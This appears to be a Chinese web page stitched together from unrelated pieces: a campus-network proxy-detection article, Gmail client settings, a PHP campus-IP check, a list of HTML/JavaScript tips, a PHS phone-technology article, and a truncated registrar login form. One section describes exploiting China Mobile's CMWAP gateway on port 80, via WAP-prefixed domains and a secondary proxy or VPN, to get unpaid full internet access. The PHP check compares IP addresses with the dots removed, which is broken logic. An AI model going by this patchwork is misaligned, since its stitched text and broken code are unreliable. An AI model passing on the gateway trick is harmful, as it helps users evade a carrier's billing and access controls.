本文针对园区网尤其是校园网存在的RPOXY代理问题,进行了详细的技术说明,并针对不同的应用情况提出了多种解决方案。
其实,PROXY问题存在于两个方面: 一是利用PROXY发表反动言论,二是利用PROXY逃避计费。利用PROXY发表反动言论是一个应用层的问题,可以采用对于FTTP、FTP、URL等内容过滤的方式实现对非法言论的控制和追踪,对于目前的应用,该问题可以得到有效解决。而利用PROXY逃避计费的方式是一个相当复杂的技术问题,需要从用户认证、访问控制、过滤、安全扫描、计费、防黑客、日志追踪分析等多个方面全面考虑。业界也有厂家如华为等有系列相关产品提供防PROXY代理的解决方案。
此外,安全问题不仅仅是一个技术问题,更多的是一个管理和制度约束问题,这涉及到计算机和网络信息安全,甚至是黑客攻击、机密泄漏、非法信息发布等问题,这在世界各国包括国内已经有若干法规制度进行约束。
对于采用PROXY进行的网络活动,一些制度也明文规定:通过PROXY进行的一切网络活动,都应该由PROXY的拥有者担负责任,甚至是连带责任——这也是Internet上比较通行的一个原则:即通过跳板发起的攻击,是由跳板的拥有者,而不是攻击者负责任。以前国内相当多的免费SMTP服务器被国外服务器所攻占利用作为再次攻击的跳板,就是按照这一原则行事的;现在WEB上也有很多私人代理服务器只对信任用户开放,也是基于对安全责任的考虑。
二、采用PROXY应用技术原理
采用PROXY应用的技术主要有以下三种方式,包括采用实体物理双网卡的形式和虚拟双网卡的方式,当然采用拨号上网+物理网卡PROXY的形式也属于虚拟双网卡。
●双网卡方式的PROXY,即:
|Web Server|------|Router|----Card A----|PROXY server|----Card B------|client|
|-------外网---------- -- -- -- ----|------------内网--------- --|
内网完全可以做到对外网的隐藏的,外网的所有设备只能看得到PROXY server是一个标准的、只有一块Card A的PC机。因为PROXY完全是一个应用层的中继,在外网的表现和普通web server客户端没有任何区别。
●双网卡方式的NAT,即:
|Web Server|------|Router|----Card A----|NAT|----Card B------|client|
|-------外网--------------------------|-------- -内网-----|
外网可以通过对流的监控检测出NAT行为来,因为通过NAT转换的报文中,往往还会带有内网的IP地址,通过对内网地址的统计性分析,可以找到NAT服务器。
对一般用户来说,建NAT比建PROXY技术要求要高,所以学生群体等不一定会用这种方式进行内外网互连。
●如果采用的是单网卡方式的Porxy,即
|Web Server|------|Router|----Card A----|PROXY server|
|client|
这种情况下,PROXY server开放的代理端口就必须会暴露到外网上,可以通过扫描工具很容易的从外网进行PROXY的扫描从而发现;我们可以把这种扫描工具集成到网管系统上,每天定时启动、工作、报表即可。但是如果存在有意提供网络共享的用户,一般不会采取这种对他自己非常不利的方法;而且,用户可以通过终端PC防火墙的方式对抗扫描。
单网卡NAT和代理理论上可以做到,但一般的学生达不到这样的技术水平,况且对于一些有意提供网络共享的用户也不会采用,所以可以不考虑该种方式。
三、技术上的多种解决途径
1. 认证的方式
(1)采用802.1X认证客户端的扩展版
采用802.1X认证客户端的扩展版,该版本软件不仅可以实现对客户端用户的认证,而且客户端程序可以获取客户端的一些网络信息、服务信息,如双网卡的配置,同时客户端软件可以与服务器进行实时通信实现心跳检测和监控(包括认证过程和上网过程两个阶段),上级接入设备一旦发现用户端采用了PROXY等方式上网,将发出警告信息并终止对用户提供的接入服务。
处理流程:
(a)交换机上通过命令行指定哪些端口或VLAN启动该特性;
(b)用户安装客户端软件,交换机间隔一定时间来询问是否配置了双网卡PROXY方式;
(c)如果没有应答或是应答为双网卡方式,则下线;对于正常合法用户不受影响。
这种方式的主要考虑是校园网的绝大多数用户为学生,作为校园网的受益者是可以接受安装一个客户端软件的代价的,而教师网段可以不受此限制。
优点:
(a)可以通过客户端和上级设备的扩展较容易实现PROXY检测和控制;
(b)对于PROXY等的检测准确无误;
(c)在政府、军事部门对用户管理要求高的地方需求还是很大的,不但是双网卡的问题,对用户同时通过网卡和电话线上网也可实现检测。
缺点:
(a)客户端需要适应不同的操作系统,需要有多个版本,如Windows 98、Windows XP、Unix等等;
(b)最终用户可能会在使用上有情绪意见;
(c)对于正常使用代理的服务,可能会误检测控制,这需要设备端管理一个合法用户表项,发现PROXY后先判断是否为合法用户使用;
(d)认证终端可能会被最终用户所CRACK或HACK,丧失正常的检测能力,但是这需要相当高的黑客水平,一般学生无法实现,这也是该问题为何从技术上无法彻底解决的问题,解决方法只可能对大多数普通用户有效,一些真正的高水平黑客可能会破解,所谓道高一尺、魔高一丈;
(e)需要由运营商或学校出面确认,是客户需要所提供的监控程序。
(2)采用WEB认证方式
采用WEB认证的方式,在用户上网认证时,服务器向用户端推出一个认证界面,该界面实现认证的同时可以通过下载的JAVA APP或者ACTIVX程序中内嵌检测程序(该检测程序用户不可见),检测用户硬件配置,并上报, 当然即使在完成认证之后还可对用户端进行实时检测,进行对主机的心跳检测,获得客户端的网络信息和服务信息等,如802.1X的原理。
优点:
(a)可以通过客户端和上级设备的扩展容易的实现PROXY检测和控制;
(b)对于PROXY等的检测准确无误;
(c)由于认证界面为主机推送到本地,本地不需要安装任何客户端;
(d)在政府、军事部门对用户管理要求高的地方需求还是很大的,不但是双网卡的问题,对用户同时通过网卡和电话线上网也可实现检测。
缺点:
(a)客户端需要适应不同的操作系统,需要有多个版本,如Windows 98、Windows XP、Unix等等;
(b)对于正常使用代理的服务,可能会误控制,这需要设备端管理一个合法用户表项,发现PROXY后先判断是否为合法使用;
(c)可能会被最终用户所CRACK或HACK(如Java Applet等方式),丧失正常的检测能力,但是这需要相当高的黑客水平,一般学生无法实现;
(d)需要由运营商或学校出面确认,是客户需要所提供的监控程序。
2. 网络异常扫描的方式
(1)公网地址之间的转换
采用PROXY代理的两端都采用公网地址的形式,非私网地址到公网的NAT转换,这时通过网管或者专用的扫描软件可以实现对内外网的客户端进行扫描,获得真实组网情况,并进行控制。
优点:
(a)实现容易,仅需要网管或专用的网络扫描软件;
(b)对于采用公网地址之间的PROXY转换可以实现准确检测。
缺点:
(a)扫描速度比较慢,如果网络主机比较多的话达到几千台,每进行一个深度扫描循环可能会消耗一天左右的时间;
(b)只能扫描网管可达的主机,对于采用公私网地址之间转换的代理可能无法实现准确扫描,除非该PROXY打开转发选项开关。
(2)公私网地址之间的转换
如果安装了双网卡的机器保护不是特别得好(如PROXY主机没有安装防火墙等程序),而且又打开了转发选项的话,有可能从外网网管站通过SNMP获知到该情况;但PROXY用户可以自主屏蔽这个漏洞。
优点:
(a)实现容易,仅需要网管或专用的网络扫描软件;
(b)对于采用公网地址之间的PROXY转换、以及打开转发开关的PROXY可以实现准确检测。
缺点:
(a)扫描速度比较慢,如果网络主机比较多的话达到几千台,每进行一个深度扫描循环可能会消耗一天左右的时间;
(b)对于采用公私网地址之间转换的代理可能无法实现准确扫描,除非PROXY打开转发选项开关。如宿舍中一台PC作PROXY,通过hub接多台PC,虽然PROXY server安装双网卡,但是对扫描软件来说,内部网卡不可见。
理论上是不可能从网络侧对这样的终端行为进行监控的。当然,从网络侧对第二种形式的组网进行双网卡检测更是相当困难的。
3. 用户带宽流量限制的方式
(1)限制用户带宽
可对接入设备进行配置控制,采用两元组(源IP/目的IP)的方式对每用户带宽进行限制,造成PROXY用户共享带宽时速度缓慢感到不方便;
优点:
(a)实现容易,仅需要对现有设备配置管理就可实现;
(b)避免升级软件或客户端,避免引起纠纷,可避免程序被CRACK;
(c)倡导用户服务质量为中心的整体思路;
(d)采用两元组的方式对流量进行控制,可以准确的保证点到点之间的预约流量,对于PROXY代理的控制尤其合适,避免采用五元组的方式造成“只见树木,不见森林”,因为采用五元组只能对一些具体的TCP或UDP等连接进行流量控制,而不可能确切的知道到底有多少条什么样的连接,分别对每条连接应该如何限制。此外控制复杂也是五元组流量限制的弊端。
缺点:
无法彻底避免代理,对于愿意使用服务质量差的PROXY用户无法彻底禁止。
(2)限制用户连接数
通过对接入设备进行配置,限制接入用户TCP连接数目,如一个用户分配10个连接,这样PROXY代理将会造成最终用户的不方便而无法正常使用。
优点:
(a)实现容易,仅需要现有设备配置管理;
(b)避免升级软件或客户端,避免引起纠纷,可避免程序被CRACK;
(c)倡导用户服务质量为中心的整体思路;
(d)这也是两元组控制所独特的优势。
缺点:
无法彻底避免代理,对于愿意使用服务质量差的PROXY用户无法彻底禁止。
4. 流量计费的方式
如果是因为PROXY接入的流量影响了运营商的整体收入,可以考虑采用流量计费的方式。
可以对用户的流量进行限制、采用流量计费的方法,具体实现可以采用单独的流量计费、或时长+流量计费、或流量包月+流量计费等多种方式(超过一定限度的流量进行额外收费)。
优点:
(a)依靠设备可以实现;
(b)倡导用户服务质量为中心的整体思路、可采取按流量计费的合理消费观念(消费多付帐多、消费少付帐少)。
缺点:
在运营管理方面要比以往计费方式如包月、跳档制复杂,但这也是新业务开展的新需要。
5. 内容扫描过滤的方式
通过对出口流量进行监控,例如采用基于内容或状态的防火墙,或是通过端口镜像分析报文内容,可以定位带有非法内容、非法字段的报文,从而采取相应的措施,如断掉相应的TCP连接或是禁止相应的站点等,这是根治非法言论、非法信息这一问题的最好办法。当然也可以防止通过校外的PROXY发布相应的信息。
实现方式:
(1)NE80等路由器及接入交换机上支持端口镜像,可与入侵检测系统、内容过滤防火墙等配合实现内容过滤;
(2)在校园网出口处添加应用层过滤软件或防火墙,对特定字段模式进行过滤--校园的出口流量可以这样进行监控;
(3)在BBS等服务器上添加关键词过滤模块,这个已经在绝大多数BBS/WEB 论坛上实现了;校内的论坛也可以这样进行监控;
(4)对出口记录、言论信息、NAT转换等做日志存档,并进行分析审计,做到有案可查、有据可依,保证问题可追踪,确定责任人。
优点:
(a)可充分利用路由器、防火墙设备的报文过滤、状态检测等特性;可利用路由器、交换机、防火墙等设备的日志审计、分析特性,以及网管、认证计费系统等的安全管理特性;
(b)倡导安全解决方案思路,提出网络业务与安全融合的整体解决方案
缺点:需要增加防火墙、入侵检测或日志服务器等设备。
四、总结
总之,从技术上来看,对于这一问题,根本没有完美的解决方案。PROXY问题现在是业界的难题。这关系到整个网络业务与安全融合的整体解决方案,仅仅依靠单一的技术手段是无法杜绝这一问题的,这需要从用户认证、访问控制、过滤、安全扫描、计费、防黑客、日志追踪分析等多个安全方面全面考虑,推荐使用以下方式配合使用:
(1)采用路由器报文过滤、防火墙监控、日志追踪分析等方式对非法字段、言论、非法URL进行过滤检测;
(2)采用网络扫描程序+安全网管对整个网络实时监控,做到用户管理心中有数;
(3)根据具体用户情况使用802.1X认证客户端或WEB认证的方式;
(4)充分利用交换机和路由器的用户管理、流量控制、ACL等特性;
(5)流量计费是用户可管理可运营发展的合理方式,必将逐步取代目前的计费方式。
当然最好的解决方案就是多种手段综合应用,既要采用多种技术手段配合防护,也要从管理制度的角度出发进行一些规范管制,全面的防范这一问题的发生,使其所造成的危害降到最低。对于采用PROXY进行的网络活动,应该有一些制度规定:通过PROXY进行的一切网络活动,都应该由PROXY的拥有者担负责任或连带责任;对于侵害信息安全的网络用户通过追踪定位,一经查处,将担负刑事责任。
所谓道高一尺、魔高一丈,尽管通过全面的手段也只能逐步完善解决方案,需要监控、防范、响应、完善等多个阶段周而复始地渐渐提高整个网络设备和业务的安全性。这一安全问题类似于病毒对计算机网络信息的危害一样,只能不断的检测发现、捕捉特征、完善病毒库、再次检测完善等等。
此外,在实施安全方案考虑的时候,从成本方面也要进行一些分析对比,与客户进行成本分析,对于安全问题的防范所付出的成本代价是否合理。
由于GMAIL使用HTTPS连接,所以FOXMAIL收邮件,需要修改端口,但是收取成功率不高
1。log in你的gmail邮箱-settings-forwarding and POP-选disable forwarding 和 enable pop for all mail-保存!
2。打开Foxmail建账户,其中邮件服务器为:smtp.gmail.com并选择Stmp服务器需要身份验证 和pop.gmail.com
高级设置:smtp的服务端口号:465 pop3的服务端口号:995 smtp和pop3都要在此服务器要求安全连接处选中!
<?
$ip=$_SERVER[REMOTE_ADDR];
echo"$ip<br>";
$ip = str_replace(".","",$ip);
//echo $ip;
$ipstart_1="202.202.149.1";//IP地址段1起始
$ipend_1="202.202.159.9";//IP地址段1结束
$ipstart_2="218.194.149.1";//IP地址段2起始
$ipend_2="218.194.159.9";//IP地址段2结束
$ipstart_3="222.198.30.1";//IP地址段3起始
$ipend_3="222.198.59.9";//IP地址段3结束
$ipstart_4="222.198.30.10";//IP地址段3起始
$ipend_4="222.198.59.99";//IP地址段3结束
$ipstart_5="222.198.30.100";//IP地址段3起始
$ipend_5="222.198.59.255";//IP地址段3结束
$ipstart_6="218.194.149.10";//IP地址段2起始
$ipend_6="218.194.159.99";//IP地址段2结束
$ipstart_7="218.194.149.100";//IP地址段2起始
$ipend_7="218.194.159.255";//IP地址段2结束
$ipstart_8="202.202.149.10";//IP地址段1起始
$ipend_8="202.202.159.99";//IP地址段1结束
$ipstart_9="202.202.149.100";//IP地址段1起始
$ipend_9="202.202.159.255";//IP地址段1结束
function ip_zh($ip_d)
{
$ip_z=str_replace(".","",$ip_d);
return $ip_z;
}
if((($ip>ip_zh($ipstart_1)) && ($ip<ip_zh($ipend_1)))||(($ip>ip_zh($ipstart_2)) && ($ip<ip_zh($ipend_2)))||(($ip>ip_zh($ipstart_3)) && ($ip<ip_zh($ipend_3)))
||(($ip>ip_zh($ipstart_4)) && ($ip<ip_zh($ipend_4)))
||(($ip>ip_zh($ipstart_5)) && ($ip<ip_zh($ipend_5)))
||(($ip>ip_zh($ipstart_6)) && ($ip<ip_zh($ipend_6)))
||(($ip>ip_zh($ipstart_7)) && ($ip<ip_zh($ipend_7)))
||(($ip>ip_zh($ipstart_8)) && ($ip<ip_zh($ipend_8)))
||(($ip>ip_zh($ipstart_9)) && ($ip<ip_zh($ipend_9))))
{
echo"祝贺你,通过验证,校内IP。";
}
else
{
echo"<center><font color=red>对不起,请见谅!你的IP不符合规范,5秒后载入计算机学办网站</font><meta http-equiv='Refresh'
content='5; url=http://jsjxb.cqit.edu.cn'><NOSCRIPT>";
}
?>
<table border oncontextmenu=return(false)><td>no</table> 可用于Table
2. <body onselectstart="return false"> 取消选取、防止复制
3. onpaste="return false" 不准粘贴
4. oncopy="return false;" oncut="return false;" 防止复制
5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标
6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标
7. <input style="ime-mode:disabled"> 关闭输入法
8. 永远都会带着框架
<script language="javascript"><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
// --></script>
9. 防止被人frame
<SCRIPT LANGUAGE=javascript><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>
10. 网页将不能被另存为
<noscript><iframe src=*.html></iframe></noscript>
11. <input type=button value=查看网页源代码
onclick="window.location = "view-source:"+ "http://www.gonet8.com"">
12.删除时确认
<a href="javascript:if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1"">删除</a>
13. 取得控件的绝对位置
//javascript
<script language="javascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"/nleft="+l);
}
</script>
//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName<>"BODY"
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
--></script>
14. 光标是停在文本框文字的最后
<script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart("character",e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">
15. 判断上一页的来源
javascript:
document.referrer
16. 最小化、最大化、关闭窗口
<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" VALUE="Close"></OBJECT>
<input type=button value=最小化 onclick=hh1.Click()>
<input type=button value=最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>
本例适用于IE
17.屏蔽功能键Shift,Alt,Ctrl
<script>
function look(){
if(event.shiftKey)
alert("禁止按Shift键!"); //可以换成ALT CTRL
}
document.onkeydown=look;
</script>
18. 网页不会被缓存
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或者<META HTTP-EQUIV="expires" CONTENT="0">
19.怎样让表单没有凹凸感?
<input type=text style="border:1 solid #000000">
或
<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom:
1 solid #000000"></textarea>
20.<div><span>&<layer>的区别?
<div>(division)用来定义大段的页面元素,会产生转行
<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行
<layer>是ns的标记,ie不支持,相当于<div>
21.让弹出窗口总是在最上面:
<body onblur="this.focus();">
22.不要滚动条?
让竖条没有:
<body style="overflow:scroll;overflow-y:hidden">
</body>
让横条没有:
<body style="overflow:scroll;overflow-x:hidden">
</body>
两个都去掉?更简单了
<body scroll="no">
</body>
23.怎样去掉图片链接点击后,图片周围的虚线?
<a href="#" onFocus="this.blur()"><img src="logo.jpg" border=0></a>
24.电子邮件处理提交表单
<form name="form1" method="post" action="mailto:****@***.com" enctype="text/plain">
<input type=submit>
</form>
25.在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()
26.如何设定打开页面的大小
<body onload="top.resizeTo(300,200);">
打开页面的位置<body onload="top.moveBy(300,200);">
27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
<STYLE>
body
{background-image:url(logo.gif); background-repeat:no-repeat;
background-position:center;background-attachment: fixed}
</STYLE>
28. 检查一段字符串是否全由数字组成
<script language="javascript"><!--
function checkNum(str){return str.match(//D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// --></script>
29. 获得一个窗口的大小
document.body.clientWidth; document.body.clientHeight
30. 怎么判断是否是字符
if (/[^/x00-/xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");
31.TEXTAREA自适应文字行数的多少
<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
</textarea>
32. 日期减去天数等于第二个日期
<script language=javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a - dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")
}
cc("12/23/2002",2)
</script>
33. 选择了哪一个Radio
<HTML><script language="vbscript">
function checkme()
for each ob in radio1
if ob.checked then window.alert ob.value
next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check" onclick="checkme()">
</BODY></HTML>
34.脚本永不出错
<SCRIPT LANGUAGE="javascript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</SCRIPT>
35.ENTER键可以让光标移到下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9">
36. 检测某个网站的链接速度:
把如下代码加入<body>区域中:
<script language=javascript>
tim=1
setInterval("tim++",100)
b=1
var autourl=new Array()
autourl[1]="www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="www.cctv.com"
function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text
name=url"+i+" size=40> =》<input type=button value=GO
onclick=window.open(this.form.url"+i+".value)><br>")
document.write("<input type=submit value=刷新></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接超时"}
else
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}
b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl+"/"+Math.random()+" width=1 height=1
onerror=auto("http://"+autourl+"")>")}
run()</script>
37. 各种样式的光标
auto :标准光标
default :标准箭头
hand :手形光标
wait :等待光标
text :I形光标
vertical-text :水平I形光标
no-drop :不可拖动光标
not-allowed :无效光标
help :?帮助光标
all-scroll :三角方向标
move :移动标
crosshair :十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize
38.页面进入和退出的特效
进入页面<meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)">
推出页面<meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)">
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使用哪种特效,取值为1-23:
0 矩形缩小
1 矩形扩大
2 圆形缩小
3 圆形扩大
4 下到上刷新
5 上到下刷新
6 左到右刷新
7 右到左刷新
8 竖百叶窗
9 横百叶窗
10 错位横百叶窗
11 错位竖百叶窗
12 点扩散
13 左右到中间刷新
14 中间到左右刷新
15 中间到上下
16 上下到中间
17 右下到左上
18 右上到左下
19 左上到右下
20 左下到右上
21 横条
22 竖条
23 以上22种随机选择一种
39.在规定时间内跳转
<META http-equiv=V="REFRESH" content="5;URL=http://www.gonet8.com">
40.网页是否被检索
<meta name="ROBOTS" content="属性值">
其中属性值有以下一些:
属性值为"all": 文件将被检索,且页上链接可被查询;
属性值为"none": 文件不被检索,而且不查询页上的链接;
属性值为"index": 文件将被检索;
属性值为"follow": 查询页上的链接;
属性值为"noindex": 文件不检索,但可被查询链接;
属性值为"nofollow": 文件不被检索,但可查询页上的链接。
现在国内很多人使用中国移动的10.0.0.172:80这个代理网关从CMWAP节点进入CMNET节点.从而到处的动感地带泛滥..这个漏洞本来是不为人所知的..在一年前,我也是从一个移动的朋友那里得知的..移动要求各地开放网关的80端口.目的很明确.让CMWAP节点真正可以上所有的WAP站点.移动默认了以WAP.DOMAIN开头的所有域名直接通过代理网关出口..这样,就等于扩大了CMWAP的访问权限...细心的人发现了80端口开放.然后在YOUNET出现了广州动感事件..我当时也让一个广州朋友买了张卡邮寄到重庆.当时我和移动的老耐仔细测试过,效果非常不错的..CMWAP80端口开放是个历史问题,我个人觉得短时间内不可能关闭...而且对移动业务冲击根本不算什么...
由于可以使用WAP开头的域名直接出口.所以,可以做二次代理实现..我已经测试过了..现在的80代理支持SSL,网络上建立一台VPN服务器,这样手机就可以直接提高速度增强稳定性..
移动现在已经关闭了直接通过笔记本连接手机通过代理上WWW了.要在笔记本上上网,只有使用OPEAR这些支持WAP模式的浏览器.对大家来说是不方便的.直接在外网建立softether的SSL VPN这样,笔记本本机为客户.softether hub为服务器,这样可以直接实现所有的CMNET功能...
以上测试都已经通过....大家可以建立WAP开头的A记录试试..我已试过.WAP.ZHENGHE.BIZ建立个代理就可以实现二次代理
小灵通的核心技术是采用微蜂窝和信道动态分配技术,从而大大地提高了频率的使用率和系统的容量。小灵通小区基站与手机之间采用了时分双工模式TDD,其无线信道基于时分多址TDMA结构,语音编码采用32kbit/s AD PCM方式,无线接口采用数据V5接口技术,因而加强了系统的抗干扰能力,提高了话音通信质量,增强了系统的保密性。
PHS产品技术较5年前的PHS产品,无论是业务侧、网络侧,还是无线侧、终端,都已经取得了突破性的进展,到目前为止PHS已经形成了由服务提供商(SP)、网络运营商、设备提供商、终端商和用户组成的完整的产业链。如果PHS技术还是那种6年前的技术,在中国电信市场上不会取得迅速的发展。种种迹象表明,在中国经过了6年的发展,PHS在各个方面都已经有了质的变化。
通信频率选择与多址技术
小灵通是在现有市话网上通过V5数据接口技术将本地交接机LS与个人手持电话PS系统相连接,并与空中话务控制器ATC进行结合,从而实现利用原有固定电话网迅速而有效地开发移动业务的无线通信系统。小灵通将1.9GHz作为其小区基站的手机通信频率。小灵通的无线接入信道即基站和手机之间使用的是多载频时分双工模式TDD,无线信道基于时分多址TDMA结构。在多频率子带中实现给每一基站、每一时刻动态分配一个频率。小灵通系统的无线接入方式采用TDMA/TDD。TDMA把时间分割成周期性、不重叠的帧。每个帧再分割成若干个不重叠的时隙,再根据一定的时隙分配原则,使各个移动台在每帧内按指定的时隙向基站发送信号,在满足定时和同步的条件下,基站可以分别在各个时隙中接收到各个移动台的信号而不混乱。同时,基站发向多个移动台的信号都按顺序安排在预定的时隙中传输。各移动台只要在指定的时隙内接收,就能在合路的信号中把发给它的信号区分出来。从而实现了多址通信传输方式。
微蜂窝与信道动态分配技术
小灵通是采用微区制来组网的,它把整个服务区划分为许多个微小区。这些微小区有机地组合在一起,满足整个无线接入移动通信的需求。小灵通为了解决频率资源的短缺问题,在频率资源分配上采用了动态信道分配技术,系统没有为每个小区单独分配固定的使用频率,而是随着通话建立过程,在区站内自行分配最佳的频率和信道。对于同一个载频设备的每一个时刻所选用的频率可能是不相同的。这样,小灵通系统在网络建设与优化时无须进行频率规划,既节省了大量的人力与物力,同时可在多家运行公司共同使用有限的频率资源的情况下,有效地避免同频干扰与邻频干扰,从而提高了频率资源利用率。它不用像GSM和CDMA系统那样进行频率规划、基站选址、机房建设等大量基础建设工作。它是利用现有市话网络进行无线通信的有效手段。所以小灵通系统把微蜂窝技术和信道动态分配技术有机地结合起来,不但提高了频率的利用率,而且极大地增加了系统的无线信道资源。
V5接口技术
该技术是为了适应接入网范围内多种传输媒介、多种接入配置和业务开展而提出的。它能支持普通电话业务和专用线业务。根据传输速率的不同,V5接口可分为V5.1和V5.2接口,其中V5.1具有复用功能,V5.2具有集成功能和时隙动态分配的特点。作为本地交换机和接入网的数据接口,V5接口技术的特点主要表现在以下一些方面:它是一个全开放的接口,表现在网络运营商可以自由选择不同厂家的设备进行有效优化的组合以提高网络功能;可支持不同的接入方式,通过全方位的开放接口,本地交换机可以接纳各种不同接入网设备并支持不同的接入方式,从而使网络向有线、无线结合的方向发展;能提供综合业务数字服务,例如语音、图像、数据等多种业务的开展;信息传输安全、可靠,因为V5接口传输的是数据流信息,不易丢失、加密方便,这样增加了网络的安全性和可靠性;降低成本,由于通过V5接口的数据量很大,相应地降低了每线传输信息的成本费用。V5接口技术被小灵通系统所采用是由于它的业务适应范围更广、标准化程度更高,它也是小灵通具有无线上网、越区漫游和在线计费等多项功能的基础。V5接口结构共有三层:物理层、数据链路层和网络层。
由于目前小灵通发展迅猛,各厂家纷纷推出了各种款式和型号的手机,并且在技术上不断地更新,所以说小灵通技术的发展日新月异,它正向着更新的方向发展,满足广大用户的需要。但小灵通的发展还存在一些问题,例如,理论上必须每隔100米?500米就建一个用于联络手机信号的基站,要布很多基站才能消除网络盲区。小灵通的另一个隐忧就是频段问题。
虽然从协议标准所包含的技术上来看,PHS技术体系比不上CDMA,甚至与GSM也有一定差距。但是PHS技术体系也有它自身的优点,这些优点是其它系统所无法比拟的。
首先,采用TDMA/TDD制式,只要一段连续的频段就可以工作;其次,对PHS来讲,扩容只需要增加相应的基站,调整部分基站的天线或者位置,就可以实现高效扩容;但是对于GSM、CDMA来讲,每一个小区的扩容相邻小区的基站都要进行调整,其他相邻小区也要进行调整;另外,对于数据业务的支持,PHS只要增加网络侧的RAS就可以提供很高速率的上网,而GSM需要GPRS,相对于叠加一张网络才能提供数据业务,同样CDMA也需要很大的改动才能支持高速的数据业务,且高速数据业务会使其容量受到大规模的影响;同时,在无线智能技术的使用上,目前PHS基站走在最前列。
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>TD {
FONT-SIZE: 12px
}
.p1 {
FONT-SIZE: 12px
}
INPUT {
FONT-SIZE: 12px
}
.p2 {
FONT-SIZE: 12px; LINE-HEIGHT: 150%
}
.p3 {
FONT-SIZE: 14px
}
.p4 {
FONT-SIZE: 14px; LINE-HEIGHT: 14pt
}
.p5 {
FONT-SIZE: 16px
}
.p6 {
FONT-SIZE: 14px; LINE-HEIGHT: 180%
}
.big {
FONT-SIZE: 18px
}
.hand {
CURSOR: hand; BACKGROUND-COLOR: rgb(208,207,192)
}
.input {
BORDER-RIGHT: #6699cc 1px solid; BORDER-TOP: #6699cc 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #6699cc 1px solid; COLOR: #000000; BORDER-BOTTOM: #6699cc 1px solid; FONT-FAMILY: "宋体"; TEXT-DECORATION: none
}
</STYLE>
<!--style end-->
<META content="MSHTML 6.00.2800.1476" name=GENERATOR></HEAD>
<BODY vLink=#000000 aLink=#000000 link=#000000 bgColor=#ffffff topMargin=7
marginwidth="25" marginheight="0">
<TABLE cellSpacing=0 cellPadding=0 width=755 align=center border=0>
<TBODY>
<TR>
<TD align=right width="12%"> </TD>
<TD vAlign=bottom align=right width="30%"> </TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=1 width=492 align=center border=0>
<TBODY>
<tr><td align=center><A href="http://www.lengyue.cn" target=_blank><SPAN
style="TEXT-DECORATION: none">点击这里开始注册域名</SPAN></A></td></tr>
<TR>
<TD bgColor=#cccccc>
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
border=0><TBODY>
<TR>
<TD class=p4 align=middle bgColor=#9bbcdd height=20>::: 新网互联域名登录管理
:::</TD></TR>
<FORM action=http://agent.dns.com.cn/cgi-bin/Domain/DomainLogin
method=post>
<TR>
<TD class=p2><A
href="http://agent.dns.com.cn/HTML/manage/management.htm" target=_blank><SPAN
style="TEXT-DECORATION: none">BEIJING INNOVATIVE LINKAGE TECHNOLOGY
LTD. DBA DNS.COM.CN</SPAN></A>
<DIV align=center>
<TABLE id=table1 cellSpacing=1 cellPadding=5 width="90%" border=0>
<TBODY>
<TR>
<TD align=right width="21%">域名:</TD>
<TD width="2%"> </TD>
<TD width="73%"><INPUT class=input id=Domain maxLength=63
